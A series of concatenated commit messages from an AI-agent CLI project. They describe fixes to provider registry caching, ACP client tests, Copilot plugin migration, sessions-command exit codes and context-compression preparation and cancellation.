resolve_api_key_provider_credentials, runtime resolution and setup_migration's
credential scan. Built-in rows cost one set lookup; mirrored rows ask
providers.names_without_profile (no discovery, no miss re-scan). _insert_row rebuilds
from the raw storage so rows hidden from the bound home survive a reorder.

Test: tests/providers/test_registry_home_scope.py, an A->B->A->B two-home E2E in one
process with a generic fake ambient-credential plugin (red on the base for the absence
case and setup detection).
R4 H2 (creds CR-2). _provider_alias_table merges the bound home's plugin aliases but was
memoized once per process: the first home's aliases served every profile ('github' normalized
differently by call order) and a plugin installed while the process ran never reached it.

Memoize per home key, rebuilt when the provider registry generation moves, through
providers.bound_registry_key() (home key + generation after the periodic plugin-dir check),
the same invalidation profile_for_host uses. auxiliary_client.py net -2 lines.

Test: tests/agent/test_aux_alias_home_scope.py (both orders; install while running); red on the base.
R4 H3. Profile provider_overlay lookups sent every non-alias name through list_providers()
plus a linear scan: normalize_provider('gemini') went from a dict hit (~0.07us) to ~8us, and
_lossy_alias_registry_pdef paid it once per registry row (~250us per call).

- Built-in canonical ids (auth BUILTIN_PROVIDER_IDS, the static alias groups and
  HERMES_OVERLAYS) are answered by a frozenset hit before the overlay path; overlays never
  renamed them on the base either. Mid-auth-import (plugin discovery) only the local
  tables answer and nothing is cached.
- normalize_provider / _overlay_profile take an optional already-fetched overlay list so a
  registry-wide loop reads the profile list once.

p_cost: normalize_provider('gemini') 8.1 -> 0.09us; _lossy_alias_registry_pdef('kimi-coding')
~230 -> ~50us. Unknown names (no table hit) still consult the bound home's overlay profiles.

Test: tests/hermes_cli/test_provider_normalize_cost.py (same answers; built-in ids never
read the profile list; a registry-wide loop reads it once); red on the base.
R4 H4. Registry ids with no profile (openai-api, xai-oauth, tencent-tokenplan) are looked up by
per-request route hooks, and every get_provider_profile miss forced a plugin-dir re-stat,
defeating the 1 s stamp TTL (2 plugin-dir stats per call on top of the config.yaml signature).

Each home layer remembers when a name's miss last forced a check; the same name forces again
only after the TTL. A NEW name still forces at once, so a provider installed while the process
runs is found on its first request; runtime registrations need no re-stat.

p_miss: route_answer(openai-api) os.stat/call 3.00 -> 1.00 (the remaining stat is the
config.yaml signature behind the named-custom-provider memo, the same edit signal load_config uses).

Test: tests/providers/test_profile_miss_ttl.py (no re-stat within TTL; new install found by new
name and after TTL; runtime registration found despite a cached miss); red on the base.
R4 CR-4. The docstring (and the plugin guide row) said "None = generic env seeding", but
agent/credential_pool.py::_profile_seeds_pool skips the generic env loop whenever the hook is
OVERRIDDEN, whatever it returns. Honouring a None return would mean calling the hook a second
time from _seed_from_env (it validates/exchanges tokens: I/O) or re-plumbing the singleton/env
seeder results, so the contract is documented as implemented: overriding owns seeding, return
[] for none; only the base implementation keeps generic env seeding. The existing
tests/agent/test_provider_credential_seams.py pins that behaviour.
R4 review P2-6: moving the Copilot ACP provider out of core deleted the e2e
and unit tests that guarded the public agent.acp_client.ACPClient base
(permission never granted, fs reads confined to cwd + redacted, no agent
process outliving the CLI, per-session process reaping, tool-call round
trip, compaction, retry semantics, long-reasoning progress).

Re-home them in core against a vendor-neutral fake ACP agent
(tests/fakes/providers/fake_acp_agent.py) and a generic `fake-acp`
external_process user plugin written into the temp HERMES_HOME, with the
same assertions as the deleted tests. Known open gaps stay xfail behind
their existing KnownSymptom gates (#65788, #120550, #101507, #121290).

Red proof: breaking each invariant in agent/acp_client.py (auto-grant
permission, drop cwd confinement, drop redaction, no-op terminate, reap a
sibling's process, drop tool extraction, crash-as-timeout, ...) turns the
matching tests red.
R4 review P1-2 (ACP-1): the alias only served CopilotACPClient, so three
more listed catalog ACP plugins broke at their pinned SHAs:
  kiro-acp@02c4dd0   imports ACP_MARKER_BASE_URL at module top
  grok-acp@2851d66   imports _build_subprocess_env, _acp_supported,
                     _model_selection_request and spawns/patches through
                     agent.copilot_acp_client.subprocess.Popen
  cursor-acp@d5b6146 imports _effective_timeout on every completion
(swept every plugin-catalog entry in the models category at its pinned SHA:
only these three plus kimchi-acp-provider import the module.)

The module now serves every top-level name it had before the deprecation
through the same warn-once __getattr__: Copilot-flavoured helpers keep their
former defaults (the copilot-acp placeholder, copilotEnablement filter,
HERMES_COPILOT_ACP_* launch fallbacks); generic ones are the very objects
agent.acp_client uses (shared probe cache). `subprocess` is a real module
attribute so patches through it reach ACPClient's spawn and --acp probe.
The docstring and developer guide no longer claim kimchi is the only user.
R4 review ACP-6: the alias docstring claimed it kept the historical error
wording, but the diagnosis for the deprecated `gh copilot` extension (base
_session raised _DEPRECATED_CLI_ERROR + stderr on its banner) lived only in
the labs plugin, so alias users got the generic "process exited early".
Port it as the alias's early_exit_error hook so the docstring is true and
alias subclasses behave as on base.
R4 review ACP-5: ACPClient._run_prompt narrowed base's model-selection guard
(except Exception) to (RuntimeError, TimeoutError, OSError), but the
session/new parsers raise TypeError/AttributeError on vendor payload drift
(e.g. "configOptions": 5), so the whole turn failed where base logged and
kept the session default. Catch those two as well around the selection step
only (named, not blind, per the BLE001 ratchet).
R4 review ACP-3: ProviderProfile.process_command_fallback and
_process_command_provider served a "pinned delegation.command" that no
config key produces. override_acp_command only comes from creds["command"],
i.e. the runtime of the external-process provider that resolved it, so the
selected provider was always kept at the first branch; the binary-stem match
and the fallback flag were reachable only from direct unit calls.

Remove the field, the stem matching and their developer-guide rows. A
pinned command now always keeps the selected provider and api_mode (base
rerouted non-external selections to the hard-coded copilot-acp slug; a
same-binary profile no longer captures the child either). probe_deleg:
delegation.provider kimchi-acp / kimchi-agent still resolve to kimchi-acp,
as on base. The labs plugin's process_command_fallback=True must go too.
LC-7/LC-8 (r4 review, leftcore). Nothing failed when the recover_for_provider call in
resolve_runtime_provider was deleted. New E2E tests drive the real resolve_runtime_provider in a temp
home: one install per process with dependency consent, none inside the failure backoff in a second
process, none with security.allow_lazy_installs off.

recover_for_provider now checks this process's attempt set first, so a home whose install failed no
longer re-reads config.yaml layers, cron jobs, auth.json and .env on every resolution.

Removed change-detector tests that pinned static env-name tables and success-line wording
(test_copilot_row_keeps_the_env_core_kept, test_token_home_gets_the_plain_success_line); the
no-notice-for-a-token-home behaviour stays covered by the relogin-notice parametrization.
P2-2 (r4 review LC-1). _provider_choices never read the cron-wide cron.model_provider (every unpinned
cron job resolves through it) nor delegation.backends.<name>.options[] routes and their
fallback_providers (the only delegation routes while a backend such as model_map is active). Such a
home was never migrated by `hermes update` or agent start, and recover_for_provider, gated on the same
predicate, refused to install when a cron run or routed delegate resolved the provider: every run
failed with "Unknown provider".

cron.model_provider is read through a new cron.scheduler_preflight.cron_default_provider, which the
preflight's own requested-provider computation now uses too. Backend routes have no core loader (the
backends are plugins), so the routes are read in the options shape web_routers/delegation.py writes,
for any backend. A deep walk of every `provider:` key was rejected: `github` is a Copilot alias and
also a value of non-inference keys.
LC-5 (r4 review). providers_selected intersected raw provider names with the row's aliases, so
`model.provider: github` with `custom_providers: [{name: github, base_url: ...}]` counted as Copilot
use: `hermes update` and agent start installed the plugin, and every process's first resolution tried
to, although the resolver serves that name as the user's own endpoint. Names the resolver's
named-custom rung (named_custom_provider_config_path) maps to a providers:/custom_providers: entry are
dropped from the choice set.
P2-3 (r4 review LC-2). Core attached Copilot's editor headers and Responses quirks by host for any
provider name, so a `custom` provider or named endpoint at *.githubcopilot.com / models.github.ai
worked before the split. Now the plugin claims those hosts; without it the requests go out bare, the
API rejects them with 400s, no "unknown provider" error fires, and such a home was never migrated.

LeftCoreFeature gets a generic `hosts` field (the copilot row: githubcopilot.com, covering the
api.business./api.enterprise. subdomains, and models.github.ai, the plugin's HOSTNAMES).
feature_in_use (now used by every migration path) also counts a configured route whose base_url is at
one of them: model, fallbacks, auxiliary, delegation and backend routes, MoA, cron pins, and the
providers:/custom_providers: endpoints. A non-retryable request error at such a host, while none of
the row's providers is registered, prints the install (or enable) sentence
(left_core_migration.host_install_hint, called from turn_recovery.nonretryable_client_error_result).
P2-4 (r4 review ACP-2) and ACP-4. The env-writer launch denylist covered registered external-process
profiles plus a left-core row's profile_env only while the plugin DIR was absent, so a home with
plugins/github-copilot/ present but not loaded (disabled, failed to load, quarantined, safe worker)
accepted HERMES_COPILOT_ACP_COMMAND / HERMES_COPILOT_ACP_ARGS / COPILOT_CLI_PATH from the dashboard,
MCP/connector installs or save_env_value; the value runs as the ACP binary once the plugin loads. Core
refused them on every home before the split.

LeftCoreFeature gets a launch_env field (the executable/argv names), refused on every home
(launch_env_names); a loaded plugin's profile declares the same names. Reusing profile_env (the
profile-isolation list) as the security list had also newly refused COPILOT_ACP_BASE_URL, an address,
while the plugin was absent (ACP-4); it is writable again, as before the split.
LC-3 (r4 review). `hermes doctor`'s auxiliary routing check resolves each routed provider through
resolve_runtime_provider, whose left-core recovery installed the plugin over the network with
dependency consent; its notice was queued for an agent that never starts in that process, and the
check's splitlines()[0] cut the install hint off the error.

left_core_migration.installs_held() holds every migration attempt in its scope (recover_at_startup
returns before any work); run_doctor runs all its checks inside it. The failed auxiliary check's issue
now carries provider_install_hint (or the old fix-the-config advice for other providers).
LC-4 (r4 review). migrate_all_homes ran every home's pending check and install with
process_env=False, so a launch home whose Copilot token is a shell export (`export GH_TOKEN=...`)
got the false "run `hermes auth add copilot` to sign in" notice on update, while its agent reads that
token fine. The launch home (get_routing_process_hermes_home) now gets process_env=True for both its
pending check and its install outcome; sibling profiles still never see the launch shell's env.
migrate_home also forwards its process_env to the install outcome now (it dropped it).
LC-6 (r4 review). provider_install_hint only told an absent plugin dir from a present one, so an
enabled plugin whose import failed (a labs pin incompatible with a newer core) was told to run
`hermes plugins enable github-copilot`, a no-op. When plugins.enabled selects the plugin (managed
overlay applied, plugins.disabled winning, as the loader gates it), the hint now names the loader's
recorded error for it and points at `hermes plugins update <name>` and `hermes logs`.
LIVE-1 (r4 live run, s10gh/s10v). recover_for_provider runs during runtime resolution, often in a
process that never builds an agent for the home (the CLI of a detached turn, a gateway start), and
queued its outcome in that process's in-memory list: the "installed the plugin" line and the gh-only
"run `hermes auth add copilot`" hint reached only errors.log.

Outcomes produced without a sink (and defer_startup_notice's) are now appended to the home's
cache/left-core-notices.jsonl; the first agent start in ANY process (recover_at_startup with its
startup-warning sink: CLI, Desktop, gateway chat) claims the file by an atomic rename and delivers each
notice exactly once. A resolution in an interactive terminal prints the outcome to stderr right away
instead, as recover_for_command does, and keeps nothing.
Documents the two row fields added for P2-3 and P2-4/ACP-4.
R4 P2-1 (wire W1). Under plugins.isolation: host, one profile overriding
create_client() made the whole credential-free extraction raise
PluginHostUnsupported, so every profile of that plugin vanished (the
github-copilot plugin lost both copilot and copilot-acp).

The extraction now classifies profile by profile: hostable profiles become
plugin-host proxies as before; a profile that cannot cross the boundary is
reported with its reason, and discovery imports the plugin in-process with
registration restricted to exactly those names (_REGISTRATION_ONLY), logging
one warning per such profile. Hosted siblings stay hosted.
R4 H5. provider_route_hooks._ask checked `key in _PURE_MEMO` and then re-read
`_PURE_MEMO[key]`; another thread's 512-entry clear() in between raised
KeyError, which route_answer swallowed, so that request went out without the
provider's headers. Read once with .get() into a local and return the local.
R4 P2-5 (wire W2).
- replay_message_carriers was asked once per carrier-bearing assistant message
  on every request (O(history) calls, each an IPC round trip under
  plugins.isolation: host). Its answer is now kept per (route, carrier key set)
  as a key mapping and applied to every message with that key set; a hook whose
  answer rewrites values is still asked per message. Contract documented on the
  hook in providers/base.py.
- reasoning_payload and replays_function_thought_signature join request_headers
  / max_tokens_param as memoized pure hooks (argument values frozen, answers
  deep-copied).
- ONE failure policy for every per-request profile hook
  (provider_route_hooks.ask_profile, also behind route_answer): a raising hook is
  logged once per (profile, hook) and answers the generic value; the agent (scope)
  remembers it, so the rest of the session keeps the generic answer and request
  bytes never flip between turns. Before: _supports_reasoning_extra_body
  swallowed per request, _endpoint_reasoning_payload / replay_message_carriers /
  replays_function_thought_signature raised out of the kwargs build, route_answer
  swallowed per call. A failure mid-request reshapes the whole request so it
  matches every later one. One-shot auxiliary calls (no agent) ask again.
- x-initiator turn flag: already consumed before asking the route (53a51a49cc).
R4 W5.
- ResponsesEndpointQuirks.profile and .trusts_completed_status were never read:
  the completed-status trust decision is keyed by issuer kind
  (_untrusted_completed_issuers scans the profiles' responses_* fields). No
  caller, test, doc or the github-copilot labs plugin references them.
- moa_loop._slot_request_headers called profile.request_headers directly with
  its own try/except: a second failure policy for one hook and no memo. It now
  asks route_answer (memoized; ask_profile's failure policy, scoped to the
  agent's session).
R4 W6. _supports_reasoning_extra_body asked the host-claiming profile
(profile_for_host) before the LM Studio / Ollama Cloud / OpenRouter gates, and
_build_chat_completions_kwargs swapped the generic reasoning body for the
profile's payload on any claimed host. A plugin listing openrouter.ai or
ollama.com in hostnames for catalog/aux routing (without overriding
reasoning_payload) silently turned reasoning off on those routes.

_reasoning_endpoint_profile() is the one lookup for both: it returns the
claiming profile except on endpoints core gates itself (Nous Portal, Vercel AI
Gateway, Ollama Cloud, OpenRouter, the lmstudio provider). Documented on
ProviderProfile.hostnames. No in-tree profile claims those hosts; Copilot hosts
are unaffected.
LIVE-1 (r4 live s10gh/s10v), part 2. The left-core notice is kept in the home and claimed by the
first agent in any process, but for `hermes chat` that agent is the session the gateway hosts for
the CLI viewer: built (platform "cli") before the turn wires the viewer's print sink, so the
startup line went to the gateway's own stdout log. A CLI agent built with a gateway session key
now holds the line and prints it on its first turn (turn_context already replays startup
notices there); an in-process CLI agent still prints at once.
The smoke's expected counters predate three merges, so on origin/main it stopped at the first
assertion:

- #106742 (unified gateway runtime): `hermes chat -q` is now served by a gateway it auto-starts
  for the home, which adds hermes.gateway.reply_latency and hermes.platform.delivery (platform
  local) and a second hermes.startup.latency row (surface gateway_boot).
- eb2edce53a: the turn's read_file call now also records hermes.tool_batch.count.
- e76fb951a1: a failed update counts the stage it died in, so the fetch-failed receipt adds an
  (apply, failed) hermes.update.stage row.

Expectations now live in one place: a single EXPECTED_METRIC_NAMES set for the SQLite and the
package checks, exact dimension dicts for the new rows, the update stages derived from the receipt
the probe feeds (UPDATE_RECEIPT, also used to build the probe), and both startup surfaces.

The smoke also stops the gateway the chat auto-started (pid record of its own home, then wait),
so a run no longer leaves a detached `gateway run --idle-exit` behind for 10 minutes, and the
gateway's asynchronous rows land before the package export.

The smoke is not run by CI, so the test file now pins its expectations to the contract: every
expected name is a contract counter, every exact dimension dict has the metric's current field set
and passes counter_dimensions_are_valid, the startup surfaces are contract surfaces, and the
expected update rows equal update_receipt_fields(UPDATE_RECEIPT).
Review finding "Cleanup repeats weaker process checks" (Greptile P2 + independent review W1): the
smoke's gateway stop trusted the probe home's gateway.pid record (kind + home) and signalled whatever
process held that PID, so a live non-gateway process or a recycled PID named by a stale record was
terminated. Resolve the PID with gateway.status.live_gateway_pid_for_home (start-time reuse guard,
gateway command line, home ownership) and do nothing on a miss; psutil binds the create time so
terminate() refuses a PID reused in between. The driver puts --hermes-repo first on sys.path so the
check comes from the tree under test.
Review finding "Exit can drop queued metrics" (Greptile P2 + independent review W2): the smoke's
docstring claimed stopping the auto-started gateway settles its asynchronous rows, but the gateway's
graceful exit ends in os._exit, which skips the shared-metrics flush. Poll the probe home's store
(read-only, so polling never creates it) with a 30 s deadline until the gateway turn rows validate,
then stop the gateway; on expiry the store validation reports what is missing.
A thread started with the turn's contextvars (spawn_context_thread, copy_context) still holds that
turn in relay_runtime._CURRENT_TURN after end_turn closes it. relay_instrumentation_enabled() reads
False for a closed turn, and record_process_mark / record_process_marks_saved / the
post_auxiliary_call hook returned on that gate before emitting anything. So every process-level
mark such a thread recorded after the turn ended was dropped silently: aux-token rows from title
generation finishing late, and any decision mark a turn-end background job reports when it is done.

The closed-turn check (e1caa611bf) stops new Relay scopes being pushed under a finished turn. A
process mark has no owning task and pushes no scope, so a closed turn now no longer gates it. A turn
Relay skipped (a concurrent turn on the same session) still gates, open or closed, as before.
Scope-creating hooks (task, model call, tool) keep the full gate.
go.wait(5) ignored its result, so on a slow runner the worker could emit while the turn was
still open and the test passed without exercising the fix.
The github-copilot labs plugin's own `hermes model` flows still imported three core privates
(r4-labs/CORE_GAPS.md): _persist_model, _note_setup_failure and env_loader's
format_secret_source_suffix. They encode core config/metric/secret-source rules a plugin must not
copy, so core publishes documented names: hermes_cli.model_setup.persist_model_selection and
note_setup_failure (new public module, in the plugin-validate allow-list) and
agent.secret_scope.secret_source_label (already a public module). Documented in
model-provider-plugin.md. The private names stay (core flows use them; no catalog pin imports them).
Every tool result is flushed to state.db as it lands
(_flush_session_db_after_tool_progress), then _finalize_tool_batch runs
enforce_turn_budget, which swaps the largest results for
<persisted-output> previews in memory only. The gateway, TUI resume and
`--resume` rebuild history from state.db, so the next turn reloads every
spilled body in full: the request grows by everything the budget removed
and its cached prefix diverges at the first spilled row.

Live on c2c5eef149 (gui session, openrouter gemini-2.5-flash,
context_length 64000, prepare_ahead off, 6 parallel read_file of ~28.6k
chars): burst call in=41,908 with 4 stubs, then "Reply OK" went out at
in=78,255, past context_length. Preflight logged "rough estimate ~64,889
... not anchored on real usage" and deferred; that deferral is intended
(e9313f6458: provider evidence adjudicates even past-window estimates),
so the defect is the durable row, not the gate.

sync_rewritten_tool_rows carries the end-of-batch rewrite onto the rows
through the existing in-place writer (rewrite_pruned_rows): row-addressed
by _row_id, CAS-fenced on the stored row, the full body kept as an
archived searchable twin. A store without the writer or a row another
writer moved keeps today's row. Same live repro on head: in=41,649 then
in=41,685, no deferral line; CLI --resume 60,431 -> 27,153.
The turn-budget rewrite ran rewrite_pruned_rows without the turn-lease check every append runs in its
write transaction, so a process that had lost the turn could still swap a row to the stub under the
new owner. rewrite_pruned_rows takes an optional turn_lease_holder (the proactive prune stays
lease-less by design) and the turn path passes its own; a lost lease keeps the stored full body.
The tail-cut walk charged in-transcript handoff rows as protected-tail
candidates, but the handoff scan folds every row up to the newest handoff
into the summary window: none of them can stay in the tail. When the
handoff row alone pushed the transcript over the soft ceiling, the walk
stopped on it and the planned window held only the handoff, so compress()
returned the empty_post_handoff_window structural no-op at every trigger.

Live on main (gemini-2.5-flash, context_length 64000, prepare_ahead off):
a Desktop manual compress, then one automatic compaction (handoff now at
index 0), then four consecutive empty_post_handoff_window no-ops while the
prompt grew 47,085 -> 57,143 -> 66,716 tokens, past the 64k window.

The tail-cut walk now prices rows at or before the newest handoff at zero,
so the cut is decided by the rows that can really stay in the tail and the
window covers the old handoff plus the turns after it. Same scenario on
this branch: the second automatic compaction summarises 17 rows and the
next prompt is 18,156 tokens.
Review suggestions 1 and 2 on #144824: the second test asserted _compress_window
indices for a shape that already compacted on main. Replace it with a behaviour
test: a rolling micro marker that alone breaks the soft ceiling no longer stalls
micro-compaction; the exchange after it is absorbed (red on c2c5eef149).
LIVE-1 (r4 live s10gh), part 3. `hermes chat` runs its turn in the gateway, and a gh-only home's
resolution fails with "No usable credentials" before any agent exists, so the kept notice (the
`hermes auth add copilot` hint) had nobody to deliver it; with output piped the interactive-terminal
check never printed it either. The classic CLI now declares itself a terminal front end
(serve_notices_on_stderr from its runtime-state init): recover_for_provider prints outcomes to its
stderr and first claims any notice another process (the gateway it started) kept for the home,
exactly once (the existing atomic claim).
`hermes sessions repair` printed "Repair failed" and exited 0, so a
`hermes sessions repair && hermes gateway start` chain or a cron health
wrapper read a store that is still unopenable as fixed. `sessions optimize`
and `optimize-storage` did the same when VACUUM or the index rebuild failed,
when the disk preflight refused, or when FTS5 was unavailable, and
`sessions archive` with no filter and `prune --never-active` with an
unparsable --older-than refused the action but still exited 0.

aca40d1d63 moved delete/rename/prune/import to `return 1` and #103321 did
repair --check-only; these are the remaining maintenance paths that print a
failure and fall through to a bare return, which the dispatcher maps to 0.
_cmd_export printed its usage errors, refusals (bulk export without a filter, --delete-after-verified without --yes or --session-id), not-found ids and failed verified deletes, then returned None, so hermes sessions export still exited 0 when it did nothing. Every such path now returns 1, as prune, archive, repair and optimize do; a --dry-run preview still exits 0.

Ported from #90970, which covers the same paths but targets the pre-split sessions_cmd.py.

Co-authored-by: pierrenode <298902573+pierrenode@users.noreply.github.com>
Every `hermes sessions` confirmation (delete, prune, prune --never-active,
archive, optimize-storage, repair-routing --apply, repair-prompts --apply,
repair-profiles --apply) read EOF on a non-interactive stdin as "no",
printed "Cancelled." and exited 0. Run from cron, a wrapper or a
backgrounded shell, `hermes sessions optimize-storage` stopped at its
Proceed prompt, touched nothing and reported success (#123322 comment).

_confirm_prompt now returns None when no answer can be read, and the new
_confirm_or_exit_code turns that into exit 1 with "No answer on a
non-interactive stdin; nothing was changed. Pass --yes to run it
unattended." (--json for repair-prompts; repair-routing has no unattended
form). An explicit "n" still exits 0 as before; optimize-storage's inline
input() now goes through the same helper.
Folds the contributor's repair test into the failure-path table (adds the
optimize VACUUM failure row, drops the missing-id row main already
exits 1 on) and adds the no-answer table:
optimize-storage, delete, archive and prune exit 0 on an explicit "n",
exit 1 on EOF at the prompt, and change no row or table. All nine cases
are red on origin/main.
The shared prompt turned KeyboardInterrupt into a decline, so
`hermes sessions optimize-storage && next` ran `next` after the user
interrupted (main's inline optimize-storage prompt let Ctrl-C through).
An interrupt now says nothing was changed and exits 130 at every
sessions confirmation; an explicit "n" still exits 0.
Independent review round:
- EOF at the prompt meant "nobody could answer" even on a real TTY,
  so Ctrl-D printed the non-interactive --yes hint and exited 1. At a
  terminal it is a decline again ("Cancelled.", exit 0, as on main);
  /dev/null and empty pipes still exit 1.
- sessions export refusing a session over sessions.max_export_messages
  printed an error and exited 0. It exits 1 on all three selection
  paths. The backup round-trip test never asserted the exit code (its
  helper serves the success legs too); its refusal leg now expects
  SystemExit(1) alongside the existing assertions.
The Windows CRT reports isatty() True for the NUL device, so
`hermes sessions delete s-old < NUL` read EOF as a Ctrl-D decline and
exited 0. EOF counts as a terminal decline only when the console API
confirms a real console (the gateway_windows check from #113977); else
it is nobody-could-answer and exits 1. A real stdin=DEVNULL child test
runs on every OS lane.
/stop (or a session boundary) hard-cancels a running compression: the owner unwinds at once,
but the summary is streamed on an isolated daemon whose chunk consumer (_ChatStreamAccumulator)
checked only the total ceiling and the host deadline, never the explicit cancel source the
Anthropic and Codex stream consumers already honour. A hard cancel leaves the fence deadline in
the future, so the provider stream kept generating, and billing, until that deadline (600 s by
default), and only the process exiting closed it sooner.

The accumulator now raises AuxiliaryExplicitCancellation on the next chunk once the host cancels;
the stream's finally closes the socket on the owning thread. Shared by the sync and async
aggregators.

Live, real AIAgent._compress_context against a server trickling a chunk every 2 s, interrupt
(hard_cancel=True) 6 s in, process kept alive 40 s: base keeps the provider thread and the
socket open the whole hold; head closes the socket within one chunk and the thread exits.
With auxiliary.compression on a dead endpoint (connection refused, quota), call_llm's own
recovery ladder answers the summary with the main agent model. The compressor only saw a
successful response, so the "configured compression model failed" warning never fired and
attempt telemetry read method=llm_summary, fallback_used=false: the user never learns their
compression endpoint is down. The compressor's own main-model fallback (#116472) already
reports both; only the ladder's recovery was invisible.

The ladder now records the route that failed and why in the caller's route_info when a
fallback candidate answers, and the compressor treats that like its own fallback: telemetry
fallback_used=true (failure_class aux_model_fallback) for any fallback route, and the
existing user warning plus method=aux_fallback_main when the main model answered (the
warning names the main model, so a configured fallback_chain entry gets telemetry only).

Live, real AIAgent._compress_context with auxiliary.compression on a closed port and a
reachable main model: base compacts with no warning and fallback_used=false; head shows
"Configured compression model 'slow-summarizer' failed, so Hermes summarised with your main
model instead" once and fallback_used=true, method=aux_fallback_main on both compactions.
The 'summarised with your main model' warning keyed on the answering model's name, so a
fallback_chain entry serving the same model id on another provider earned it too. call_llm now
reports the label of the route that answered and the compressor checks for main-agent. The two
tests that only called the new private helper are folded into one label-precedence case; the
end-to-end compress() test still proves the bug on main.
R5-DESKTOP follow-up (Copilot picker heading "GITHUB-COPILOT"). Not a regression against main:
on 0c771d7a5b the copilot row is slug `copilot` with name "github-copilot" too whenever no
models.dev catalog is loaded (offline, blocked host, cold cache), because the overlay label
falls back to the overlay key. Online both trees read "GitHub Copilot" from models.dev.

_get_overlay labelled a profile overlay with display_name only when keyed by the profile's
own name; keyed by its models_dev_id it kept the catalog spelling. A plugin profile declares
display_name, so use it for either key: get_label() / picker row names / Desktop headings now
read the profile's display name offline as well. Static HERMES_OVERLAYS rows are unchanged.
R5 (r4-labs/CORE_GAPS.md): with no credential, every surface said only "No usable credentials
found for provider X" (runtime resolution adds the env-var list; CLI/Desktop readiness not even
that), and an ACP agent's auth-required error reached the user bare, so a plugin could not name its
own sign-in. Two generic seams, unset = today's text:
- ProviderProfile.missing_credentials_hint() -> str | None, appended by runtime resolution
  (_api_key_provider_runtime) and both readiness checks (runtime_readiness, tui_gateway
  methods_config) via runtime_readiness.missing_credentials_suffix.
- ACPClient.auth_required_hint (class attr, None) appended to a request's JSON-RPC error when its
  code is ACP's auth-required (-32000).
Other users: any OAuth/device-code plugin provider; ACP CLIs with their own login (kimchi-acp).
scripts/check footguns on 190f4e9f57 (LIVE-1 notice file): reads are utf-8-sig, writes utf-8.
Phases 1-2 of compress() (prune old tool results, drop blank echoes, pick
the head/middle/tail boundaries) move into _plan_compaction_window so a
second caller can plan exactly the same window. No behaviour change.
With compression.prepare_ahead (default false), once the provider-reported
prompt size is within 12% of the context window below the compaction
trigger, the turn loop starts a background pass before a tool batch runs
and at turn end. The pass plans the same window compress() plans and runs
the same summariser on a copy of the compressor and of the window rows.
The pass itself never rewrites the live transcript, system prompt or
prompt cache; the transcript keeps growing normally meanwhile.

At the next automatic threshold compaction, compress() splices the
finished candidate when the head boundary is unchanged, its boundary is no
later than the fresh tail cut, and the transcript up to that boundary is
unchanged (ignoring what the no-LLM prune rewrites). Messages after the
candidate boundary stay outside the summarized region and go through the
existing tail handling. Everything else, including a pass that has not
finished, manual/focus compaction, overflow recovery and memory-provider
summary context, compacts inline as before. A running pass is never
waited on and loses the right to publish once compaction or a session
boundary overtakes it. A failed pass backs off further passes without
touching the live failure cooldown.

State is per compressor and in memory only. Plugin context engines, Codex
app-server, native Responses compaction, micro-compaction and
background-review forks are not prepared. With the flag off no state is
created and compress() takes its existing path.
- A candidate only splices when the messages between its boundary and the
  fresh tail cut fit in one more tail budget; a staler candidate misses and
  compaction summarizes inline.
- The preparation band is 12% of threshold_tokens, not of the context
  window, so a small absolute trigger on a large window no longer starts a
  pass on every turn.
- bind_session_state() discards the candidate and any running pass when it
  binds a different session id (/resume, /branch); same-session rebinds
  keep it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
_emit_compression_summary and the once-per-profile Codex gpt-5.x autoraise
notice helpers move unchanged from agent/agent_init.py to
agent/agent_init_compression_notice.py, so the prepared-compaction flag can
land in agent_init without growing the file past its ratchet cap.
_compress_window moves unchanged, with _plan_compaction_window and the
prepared-summary splice (_take_prepared_summary), into CompactionWindowMixin
in agent/context_compressor_window.py: the window that compress() and the
prepared-compaction pass both plan now lives in one place, and
context_compressor.py stays under its file-size ratchet. config_defaults
comments in the compression section are tightened to keep that file at its
cap. The pre-existing summary catch-all in _generate_summary gets a health
waiver: the ratchet re-flags it only because the success block above it was
extracted into _record_summary_success.
When automatic compaction fires with no completed candidate but a pass is
still writing a summary whose window fits, compaction waited for nothing and
wrote the same summary again inline, so the user paid the full summary
latency and the background call was thrown away.

Compaction now waits for that pass. Each streamed chunk of the pass touches
the compacting thread's aux progress hook, so the host's idle watchdog treats
the wait like an inline summary stream. The wait ends at the host's stream
deadline (the compression aux timeout when none is installed) or when the
host cancels, and compaction then summarizes inline as before. A running pass
whose window no longer fits is not waited on. Annotations in the module and
its tests move to builtin generics.
Rebasing #120603 onto main lost a line in the conflict resolution: main's
summary success path (86bf8886c2 / 4f134d4c37) resets the sustained-overload
budget, but the extracted _record_summary_success() did not. Two overload
aborts, then a healthy summary whose compaction is refused (would-grow), left
the strikes armed, so one isolated overload later escalated straight to the
destructive fallback. The helper now clears terminal failures with the shared
helper and restarts the overload budget, exactly as main does.

The overload tests move to tests/agent/test_context_compressor_overload.py
(unchanged) so the new case fits the test-file size cap.
Inline, a llama.cpp server reading a long summary prompt pushes the host's
compression deadline back (compression_deadline_scope installs a
prompt_reading_hook that extends the fence). A compaction waiting on a
prepared pass lost that: the pass thread had no reading hook, and the wait
read the deadline once. A slow-but-healthy local prefill could hit the
original ceiling and fall back to an inline summary that pays the same
prefill again.

The pass now installs a reading hook that forwards to the waiting
compaction's hook, and the wait re-reads the live host deadline on every
poll.
A pass that compaction or a session boundary superseded kept streaming
its summary to the provider's own ceiling: billed, then thrown away. The
same happened when a waiting compaction gave up at the host deadline or
on a host cancel, so the summary was paid for twice (once in the
background, once inline). Live probe: after the deadline cut a wait
short, the pass still completed 4 s later and was billed (2 aux calls).

Each pass now carries a cancel event, wired into the existing aux
hard-cancel path (aux_interrupt_protection(cancel_event=...)) so the
stream is closed. take() sets it whenever it consumes or supersedes the
pass; discard() sets it on reset, end and rebind. A compaction waiting
on a discarded pass wakes at once instead of waiting out the pass.

Also:
- the waiting compaction installs its progress hooks before the rest of
  the setup; resolving the aux timeout loads config on first use
  (~0.8 s), and progress streamed in that window was dropped;
- a miss now says why: deadline, host cancel, discarded, or the pass
  failed (every miss used to read "did not finish in time");
- the config comment mentions the wait.

Probe after the fix: deadline miss -> the pass exits ~0.1 s later, 1
aux call billed; reset during the wait -> the wait returns at once.
While a completed candidate was still fresh, maybe_prepare re-planned the
whole compaction window and re-fingerprinted the transcript before every
tool batch and at every turn end, only to keep the candidate. Measured on
the turn thread: ~23 ms per call at 180k tokens, ~31 ms at 540k.

The candidate now remembers the provider-reported prompt size its pass
was planned at; while the prompt has grown by less than the extension
threshold since then, the hook returns at once. A shrunk prompt or a
larger growth falls through to the full plan, and compaction still runs
the authoritative fingerprint and gap check.

Passes are also skipped while the summary model is benched after two
fallback summaries in a row: inline compaction would not call it then
either (#63008), and each pass would be a paid call.
